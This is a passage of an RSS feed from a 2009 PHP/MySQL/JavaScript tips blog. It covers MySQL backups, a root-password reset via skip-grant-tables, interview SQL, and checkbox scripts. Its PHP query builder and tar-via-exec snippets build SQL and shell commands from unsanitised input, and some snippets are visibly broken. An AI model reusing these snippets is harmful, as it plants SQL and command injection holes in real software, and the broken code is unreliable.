153);&quot;&gt; // stderr is a file to write to&lt;/span&gt;&lt;br /&gt; );&lt;br /&gt;&lt;span style=&quot;color: rgb(51, 51, 255);&quot;&gt;$command&lt;/span&gt; = &quot;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;g++ cplusplusfile.cpp&lt;/span&gt;&quot;;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;proc_open&lt;/span&gt;($command,$descriptospec,$output);&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;</description><link>http://thecoderinc.blogspot.com/2009/03/compile-c-using-php.html</link><author>noreply@blogger.com (Anish)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2450838521860840569.post-6025525665719893229</guid><pubDate>Tue, 03 Mar 2009 08:24:00 +0000</pubDate><atom:updated>2009-03-03T14:05:23.206+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">mySql</category><title>MySql Back Up</title><description>To take backup:&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;background-color: rgb(213, 240, 184);&quot;&gt;&lt;br /&gt;All database of a user : mysqldump -Q -u[User] -A -p &gt; foo.sql&lt;br /&gt;particular Database : mysqldump -Q -u[dbUser] -B[dbName] -p &gt; bar.sql&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Restore&lt;br /&gt;&lt;div style=&quot;background-color: rgb(213, 240, 184);&quot;&gt;&lt;br /&gt;mysql -u[UserName] -p&lt;br /&gt;mysql &gt; source foo.sql;&lt;br /&gt;&lt;br /&gt;mysql -u[UserName] -p&lt;br /&gt;mysql &gt; create database user_bar; # for restoring single database&lt;br /&gt;mysql &gt; source bar.sql;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight:bold;&quot;&gt;To dump all database from a remote server to local server The best option is&lt;br /&gt;follows&lt;/span&gt;&lt;br /&gt;------------------------------------------------------------------------------------------------------------------------------------------------&lt;br /&gt;#mysqldump --all-databases --add-drop-table --host=10.10.10.1 -p &gt; foo.dump&lt;br /&gt;--------------------------------------------------------------------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;To Restore the dump&lt;br /&gt;#mysql &lt; foo.dump</description><link>http://thecoderinc.blogspot.com/2009/03/mysql-back-up.html</link><author>noreply@blogger.com (Anish)</author></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2450838521860840569.post-6588090355004105774</guid><pubDate>Tue, 03 Mar 2009 07:41:00 +0000</pubDate><atom:updated>2009-09-21T00:15:45.035+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">mySql</category><category domain="http://www.blogger.com/atom/ns#">terminal</category><title>ERROR 1045 - Access Denied - MySql</title><description>ERROR 1045 (28000): &lt;span style=&quot;font-weight: bold;&quot;&gt;Access denied&lt;/span&gt; for user &#39;root&#39;@&#39;localhost&#39; (using password: YES)&lt;br /&gt;
&lt;br /&gt;
Causes of Access Denied:&lt;br /&gt;
1. Make sure that the server is running. If it is not, clients           cannot connect to it.&lt;br /&gt;
2.  It might be that the server is running, but you are trying to           connect using a TCP/IP port, named pipe, or Unix socket file           different from the one on which the server is listening. To           correct this when you invoke a client program, specify a           &lt;code class=&quot;option&quot;&gt;--port&lt;/code&gt; option to indicate the           proper port number, or a           &lt;code class=&quot;option&quot;&gt;--socket&lt;/code&gt;&lt;br /&gt;
option to indicate           the proper named pipe or Unix socket file. To find out where           the socket file is, you can use this command:         &lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;background-color: #d5f0b8;&quot;&gt;&lt;br /&gt;
&lt;pre class=&quot;programlisting&quot;&gt;shell&amp;gt; &lt;b class=&quot;userinput&quot;&gt;&lt;code&gt;netstat -ln | grep mysql&lt;/code&gt;&lt;/b&gt;
&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;
There is many more reasons, which are enlisted on the &lt;a href=&quot;http://dev.mysql.com/doc/refman/5.1/en/access-denied.html&quot;&gt;MySql site&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Solution: You can easily override this problem by using the following commands on the terminal.&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;background-color: #d5f0b8;&quot;&gt;&lt;br /&gt;
&lt;br /&gt;
# /etc/init.d/mysql stop&lt;br /&gt;
# mysqld --skip-grant-tables --user=root&amp;amp;&lt;br /&gt;
# mysql&lt;br /&gt;
mysql&amp;gt; use mysql&lt;br /&gt;
mysql&amp;gt; update user set Password=&#39;&#39; where User=&#39;root&#39;;&lt;br /&gt;
mysql&amp;gt; exit&lt;br /&gt;
# killall -9 mysqld&lt;br /&gt;
# /etc/init.d/mysql start&lt;br /&gt;
# mysql -p&lt;br /&gt;
Enter password:&lt;br /&gt;
mysql&amp;gt; SET PASSWORD FOR &#39;root&#39;@&#39;localhost&#39; = PASSWORD(&#39;newpassword&#39;);&lt;br /&gt;
mysql&amp;gt; FLUSH PRIVILEGES;&lt;br /&gt;
mysql&amp;gt; exit&lt;br /&gt;
&lt;/div&gt;&lt;br /&gt;
This will flush out all the previlage and set a new root password.</description><link>http://thecoderinc.blogspot.com/2009/03/error-1045.html</link><author>noreply@blogger.com (Anish)</author></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2450838521860840569.post-5026100061380351059</guid><pubDate>Mon, 02 Mar 2009 09:42:00 +0000</pubDate><atom:updated>2009-03-03T11:18:37.425+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">interviews</category><category domain="http://www.blogger.com/atom/ns#">mySql</category><title>sql Questions</title><description>I got busted with some easy mySql questions; anyway I expect this heck again and again. So I buried my self in google to find out the answers:&lt;br /&gt;&lt;br /&gt;and here we go!&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;1. What is the difference between primary key and unique key&lt;/span&gt;?&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;background-color: rgb(213, 240, 184);&quot;&gt;&lt;span id=&quot;intelliTxt&quot;&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;Primary Key:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This is an index that cannot be NULL, Primary Keys are used in building relationships between tables in a database. (an index is automatically created on the primary key). The difference between primary and ordinary keys is that there can be multiple keys, but only one primary key.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;Unique Key:&lt;br /&gt;&lt;/span&gt;&lt;span id=&quot;intelliTxt&quot;&gt;&lt;br /&gt;Unique and Index are same, the difference is, in Unique, duplicate are not allowed in any circumstances and that is enforced by database server.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;2. &lt;span style=&quot;font-style: italic;&quot;&gt;How can you get rows in between of two keys ?&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;&lt;br /&gt;&lt;/span&gt;It can be done by using sql &lt;span style=&quot;font-style: italic;&quot;&gt;between.&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;background-color: rgb(213, 240, 184);&quot;&gt;Syntax:&lt;br /&gt;&lt;span style=&quot;color: rgb(213, 240, 184);&quot;&gt; **********&lt;/span&gt; SELECT &amp;lt;fields&gt; FROM &amp;lt;table&gt; WHERE &amp;lt;key_field&gt; BETWEEN &amp;lt;key1&gt; AND &amp;lt;key2&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Example : &lt;span style=&quot;color: rgb(255, 102, 0);&quot;&gt;select f_name, l_name, age from employee_data where age BETWEEN 32 AND 40;&lt;br /&gt;&lt;/span&gt;</description><link>http://thecoderinc.blogspot.com/2009/03/sql-interview.html</link><author>noreply@blogger.com (Anish)</author></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2450838521860840569.post-6891202481662882945</guid><pubDate>Sat, 28 Feb 2009 11:07:00 +0000</pubDate><atom:updated>2009-02-28T17:10:00.101+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">checkbox</category><category domain="http://www.blogger.com/atom/ns#">Javascript</category><title>others textbox show/hide on checkbox selection</title><description>In choices, there is also a option for &quot;Others&quot;, if that clicks a textbox will appear and when un-checks that will disappear. Lets do the same with Javascript.&lt;br /&gt;&lt;br /&gt;Put the following code on the &lt;span style=&quot;font-weight: bold;&quot;&gt;header&lt;/span&gt; section&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;background-color: rgb(213, 240, 184);&quot;&gt;&lt;br /&gt;&lt;h4&gt;code:&lt;/h4&gt;&lt;div style=&quot;border: thin dotted rgb(124, 147, 147);&quot;&gt;function displayField(fieldID, display)&lt;br /&gt;{&lt;br /&gt;document.getElementById(fieldID).style.display = (display) ? &#39;inline&#39; : &#39;none&#39;;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;and the following in the &lt;span style=&quot;font-weight: bold;&quot;&gt;body&lt;/span&gt; section.&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;background-color: rgb(213, 240, 184);&quot;&gt;&lt;br /&gt;&lt;h4&gt;code:&lt;/h4&gt;&lt;div style=&quot;border: thin dotted rgb(124, 147, 147);&quot;&gt;function displayField(fieldID, display)&lt;br /&gt;&lt;br /&gt;&amp;lt;input name=&quot;checkbox_other&quot; type=&quot;checkbox&quot; class=&quot;text_background&quot; id=&quot;checkbox_other&quot; value=&quot;other&quot; onclick=&quot;displayField(&#39;newClientLbl&#39;, this.checked)&quot;&gt;&lt;br /&gt;&amp;lt;label style=&quot;display:none&quot; id=&quot;newClientLbl&quot;&gt;&lt;br /&gt;&lt;br /&gt;Enter Your Client Type: &amp;lt;input name=&quot;newClient&quot; class=&quot;text_background&quot; type=&quot;text&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;</description><link>http://thecoderinc.blogspot.com/2009/02/check-and-un-check.html</link><author>noreply@blogger.com (Anish)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2450838521860840569.post-1811932894613683867</guid><pubDate>Sat, 28 Feb 2009 09:18:00 +0000</pubDate><atom:updated>2009-02-28T16:49:08.275+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">mySql</category><category domain="http://www.blogger.com/atom/ns#">php</category><title>get top &#39;n&#39; queries - php mysql</title><description>Many CMS sites having a facility to show the latest topics on site. I have created a general function for get the top &#39;n&#39; posts. It is in PHP with MySql.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;background-color: rgb(213, 240, 184);&quot;&gt;&lt;br /&gt;  &lt;h4&gt;code:&lt;/h4&gt;&lt;br /&gt;  &lt;div style=&quot;border: thin dotted rgb(124, 147, 147);&quot;&gt;&lt;br /&gt;     &amp;lt; ?php&lt;br /&gt;         &lt;span style=&quot;color: rgb(51, 51, 153);&quot;&gt;function&lt;/span&gt; select_top($table, $fields, $key, $nos)&lt;br /&gt;{&lt;br /&gt;//done by : &lt;a href=&quot;mailto:thecoderin@gmail.com?subject:blog-thecoderinc&quot;&gt;thecoderin.gmail.com&lt;/a&gt;&lt;br /&gt;//date: 28 feb 2009&lt;br /&gt;&lt;br /&gt;$count_field = &lt;span style=&quot;color: rgb(51, 0, 153);&quot;&gt;count&lt;/span&gt;($fields);&lt;br /&gt;$query  = &quot;&lt;span style=&quot;color: rgb(255, 102, 102);&quot;&gt;SELECT&lt;/span&gt; &quot;;&lt;br /&gt;for($i=0; $i&lt;$count_field -1; $i++)  &lt;span style=&quot;color: rgb(213, 240, 184);&quot;&gt;+++&lt;/span&gt;$query = $query.&quot;`&quot;.$fields[$i].&quot;`, &quot;;&lt;br /&gt;&lt;br /&gt;$query = $query.&quot;`&quot;.$fields[$count_field -1].&quot;` &quot;;&lt;br /&gt;&lt;br /&gt;$query .= &quot;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;FROM&lt;/span&gt; $table &lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;ORDER BY&lt;/span&gt; $key &lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;DESC LIMIT&lt;/span&gt; $nos&quot;;&lt;br /&gt;//   echo $query;&lt;br /&gt;$result = &lt;span style=&quot;color: rgb(51, 0, 153);&quot;&gt;mysql_query&lt;/span&gt;($query);&lt;br /&gt;&lt;span style=&quot;color: rgb(51, 51, 153);&quot;&gt;return&lt;/span&gt; $result;&lt;br /&gt;}&lt;br /&gt;?&gt;&lt;br /&gt;   &lt;/div&gt;&lt;br /&gt;&lt;/div&gt;</description><link>http://thecoderinc.blogspot.com/2009/02/get-top-n-queries-php-mysql.html</link><author>noreply@blogger.com (Anish)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2450838521860840569.post-1659782584199192090</guid><pubDate>Wed, 25 Feb 2009 03:25:00 +0000</pubDate><atom:updated>2009-02-25T10:17:06.351+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">php</category><category domain="http://www.blogger.com/atom/ns#">tar</category><title>Generate .tar file using PHP</title><description>PHP is a wonderful language which make anything possible in the web world. In some applications we need to generate a archive for binding a group of files.&lt;br /&gt;&lt;br /&gt;Tar (tape archive), a file format (in the form of a type of archive bitstream)  is going to generate. The tar format was created in early days of Unix and standardised by POSIX. So better you try it in  a linux based system.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;$file_path is the  file/directory name you would like to archive&lt;/blockquote&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;background-color: rgb(213, 240, 184);&quot;&gt;&lt;br /&gt;&lt;h4&gt;code:&lt;/h4&gt;&lt;br /&gt;&lt;div style=&quot;border: thin dotted #7C9393&quot;&gt;&lt;br /&gt;&amp;lt;? php&lt;br /&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;$output_file = &quot;TAR_FOLDER/&quot;.trim($ file_name) .&quot;.tar&quot;;&lt;br /&gt;$cmd = &quot;tar -cf &quot;.trim($output_ file).&quot; -C &quot;.trim($file_ path).&quot;&lt;br /&gt;&quot;.trim($file_ name);&lt;br /&gt;exec($cmd);&lt;/span&gt;&lt;br /&gt;?&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;</description><link>http://thecoderinc.blogspot.com/2009/02/generate-tar-file-using-php.html</link><author>noreply@blogger.com (Anish)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2450838521860840569.post-3257128574103597122</guid><pubDate>Mon, 23 Feb 2009 07:45:00 +0000</pubDate><atom:updated>2009-09-17T14:35:37.521+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">Joomla</category><category domain="http://www.blogger.com/atom/ns#">php</category><title>Register to Read More - Joomla 1.5</title><description>Joomla is a php based open-source CMS toolkit. More you can find out from &lt;a href=&quot;http://docs.joomla.org/Beginners#Use_the_Joomla.21_v_1.5_Installation_Guide&quot; target=&quot;_blank&quot;&gt;this document&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Just follow the steps:&lt;br /&gt;
&lt;br /&gt;
1.Create an article&lt;br /&gt;
2. Type some intro text, we need to put in the read more divider.&lt;br /&gt;
3.Click the &lt;span style=&quot;font-weight: bold;&quot;&gt;Read More&lt;/span&gt; button at the bottom of the text editor.&lt;br /&gt;
4.Once you have the read more separation line, add some text beneath it.&lt;br /&gt;
5.&lt;span style=&quot;text-decoration: underline;&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Configuring the Article’s Parameters&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Now that we have an article with intro text and main text, it needs to be configured so that it has permission to show the intro text to the public, but only displays the main text to users who have registered and logged in. On the right hand side of the Article Editor there are several parameter tabs. Under the first tab&lt;span style=&quot;font-weight: bold;&quot;&gt; [Parameters – Article]&lt;/span&gt; there is an option labeled Access Level. By default it is set to public. Click the drop box and set it to Registered.&lt;br /&gt;
&lt;br /&gt;
6. Click Save to save the article and exit to the Article Manager.&lt;br /&gt;
&lt;br /&gt;
7. Select Main Menu From &lt;span style=&quot;font-weight: bold;&quot;&gt;Menus&lt;/span&gt; tab.&lt;br /&gt;
8. Click on the &lt;span style=&quot;font-weight: bold;&quot;&gt;Home&lt;/span&gt; Menu type&lt;br /&gt;
9. On Right Side&lt;br /&gt;
&lt;span style=&quot;font-weight: bold;&quot;&gt;Parameters(Component)-&amp;gt;Show Unauthorised Links&lt;/span&gt;; put the value as Yes.&lt;br /&gt;
10.Click on &lt;span style=&quot;font-weight: bold;&quot;&gt;Save&lt;/span&gt;.&lt;br /&gt;
&lt;br /&gt;
This article is for Joomla 1.5.x, you can if you want try it with older version, then please &lt;a href=&quot;http://www.scribd.com/doc/2299883/Joomla-v-15-Register-to-Read-More&quot; target=&quot;_blank&quot;&gt;check this document&lt;/a&gt;</description><link>http://thecoderinc.blogspot.com/2009/02/register-to-read-more-joomla-15.html</link><author>noreply@blogger.com (Anish)</author></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2450838521860840569.post-572221747602147854</guid><pubDate>Mon, 23 Feb 2009 06:05:00 +0000</pubDate><atom:updated>2009-02-24T15:20:23.832+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">e-books</category><category domain="http://www.blogger.com/atom/ns#">Javascript</category><title>Javascript Reference Books</title><description>Here is  links of some &lt;span style=&quot;font-style: italic;&quot;&gt;good&lt;/span&gt; Javascript reference books.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Single Page Reference&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;1. &lt;a href=&quot;http://www.scribd.com/doc/1441165/Simple-Javascript-Reference&quot; target=&quot;_blank&quot;&gt;Javascript Quick Reference&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2.  &lt;a href=&quot;http://www.scribd.com/doc/2884586/JavaScript-Cheat-Sheet&quot; target=&quot;_blank&quot;&gt;Javascript Cheat Sheet&lt;/a&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;br /&gt;Books&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;3. &lt;a href=&quot;http://fb.esnips.com/doc/8f93f4e6-3ac9-4fba-8522-dfe8055093eb/JavaScript:-The-Definitive-Guide,-4th-Edition&quot; target=&quot;_blank&quot;&gt;Javascript: The Defenitive guide&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;4. &lt;a href=&quot;http://fb.esnips.com/r/hmfl/doc/0ba17c71-211d-4f70-9730-7b6be1798208/JavaScript%E2%84%A2-by-Example&quot; target=&quot;_blank&quot;&gt;Javascript By Example&lt;/a&gt;</description><link>http://thecoderinc.blogspot.com/2009/02/javascript-reference-books.html</link><author>noreply@blogger.com (Anish)</author></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2450838521860840569.post-8459292253166413198</guid><pubDate>Mon, 23 Feb 2009 05:13:00 +0000</pubDate><atom:updated>2009-02-28T15:05:31.613+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">checkbox</category><category domain="http://www.blogger.com/atom/ns#">Javascript</category><category domain="http://www.blogger.com/atom/ns#">validation</category><title>check box validation</title><description>Once my client asked me to do a validation for  a form in which contains many check boxes. The form can submit the data &lt;span style=&quot;font-weight: bold;&quot;&gt;if and only if at most&lt;/span&gt; &#39;&lt;span style=&quot;font-weight: bold;&quot;&gt;m&lt;/span&gt;&#39; number of check boxes are clicked. I have written a javascript function for that, so that it can re-use.&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;background-color: rgb(213, 240, 184);&quot;&gt;&lt;br /&gt;&lt;h4&gt;code:&lt;/h4&gt;&lt;br /&gt;&lt;div style=&quot;border: thin dotted rgb(124, 147, 147);&quot;&gt;&lt;br /&gt;&lt;span style=&quot;font-style: italic;font-family:Arial,Helvetica,sans-serif;&quot; &gt;&lt;br /&gt;function checkboxValidate(cform,max)&lt;br /&gt;{&lt;br /&gt;&lt;span style=&quot;color: rgb(213, 240, 184);&quot;&gt;+++&lt;/span&gt;for (var c=0,d=0,e; e=cform[d]; d++)&lt;br /&gt;&lt;span style=&quot;color: rgb(213, 240, 184);&quot;&gt;++++&lt;/span&gt;{&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(213, 240, 184);&quot;&gt;+++++&lt;/span&gt;if (e.type==&#39;checkbox&#39; &amp;amp;&amp;amp; e.name.match(/^show\[\]$/) &amp;amp;&amp;amp; e.checked)&lt;br /&gt;&lt;span style=&quot;color: rgb(213, 240, 184);&quot;&gt;+++++++&lt;/span&gt;c++;&lt;br /&gt;&lt;span style=&quot;color: rgb(213, 240, 184);&quot;&gt;++++&lt;/span&gt;}&lt;br /&gt;&lt;span style=&quot;color: rgb(213, 240, 184);&quot;&gt;+++&lt;/span&gt;if (c &gt; max)&lt;br /&gt;&lt;span style=&quot;color: rgb(213, 240, 184);&quot;&gt;+++&lt;/span&gt;{&lt;br /&gt;&lt;span style=&quot;color: rgb(213, 240, 184);&quot;&gt;++++&lt;/span&gt;alert(&#39;You can only click m checkboxes &#39;);&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(213, 240, 184);&quot;&gt;+++++&lt;/span&gt;return false;&lt;br /&gt;&lt;span style=&quot;color: rgb(213, 240, 184);&quot;&gt;++++&lt;/span&gt;}&lt;br /&gt;&lt;span style=&quot;color: rgb(213, 240, 184);&quot;&gt;+++&lt;/span&gt;return true;&lt;br /&gt;}&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;the function &lt;span style=&quot;font-style: italic;font-family:Arial,Helvetica,sans-serif;&quot; &gt;checkboxValidate &lt;/span&gt;&lt;span style=&quot;font-family:Arial,Helvetica,sans-serif;&quot;&gt;takes two arguments&lt;br /&gt;&lt;br /&gt;a. &lt;/span&gt;&lt;span style=&quot;font-style: italic;font-family:Arial,Helvetica,sans-serif;&quot; &gt;cform - &lt;/span&gt;&lt;span style=&quot;font-family:Arial,Helvetica,sans-serif;&quot;&gt;the name of the form, in which contains the checkboxes&lt;br /&gt;b. &lt;/span&gt;&lt;span style=&quot;font-style: italic;font-family:Arial,Helvetica,sans-serif;&quot; &gt;max - &lt;/span&gt;&lt;span style=&quot;font-family:Arial,Helvetica,sans-serif;&quot;&gt;the allowed maximum number of checks.&lt;br /&gt;&lt;br /&gt;You can edit this function and can enable it for the use of at least m number of clicks, that I left to you.&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family:Arial,Helvetica,sans-serif;&quot;&gt;&lt;span style=&quot;color: rgb(255, 255, 255);&quot;&gt;&lt;/span&gt;&lt;/span&gt;</description><link>http://thecoderinc.blogspot.com/2009/02/check-box-validation.html</link><author>noreply@blogger.com (Anish)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2450838521860840569.post-8983768860363396003</guid><pubDate>Sat, 21 Feb 2009 11:12:00 +0000</pubDate><atom:updated>2009-02-21T17:21:28.073+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">mySql</category><title>nth largest from a table - mySql</title><description>In many technical interviews, many of you face the same question as I did. After a long search and try I find out the exact &lt;span style=&quot;font-weight: bold;&quot;&gt;query&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;It is just like this&lt;span style=&quot;font-weight: bold;&quot;&gt;:&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;span style=&quot;background-color: rgb(236, 215, 215);&quot;&gt;&lt;br /&gt;SELECT * FROM &lt;&lt;span style=&quot;font-style: italic;&quot;&gt;tablename&lt;/span&gt;&gt; ORDER BY &lt;&lt;span style=&quot;font-style: italic;&quot;&gt;fieldname&lt;/span&gt;&gt; desc limit &lt;&lt;span style=&quot;font-style: italic;&quot;&gt;n-1&lt;/span&gt;&gt;, 1;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Just check it with your table and comment your findings.</description><link>http://thecoderinc.blogspot.com/2009/02/nth-largest-from-table-mysql.html</link><author>noreply@blogger.com (Anish)</author><thr:total>0</thr:total></item></channel></rss>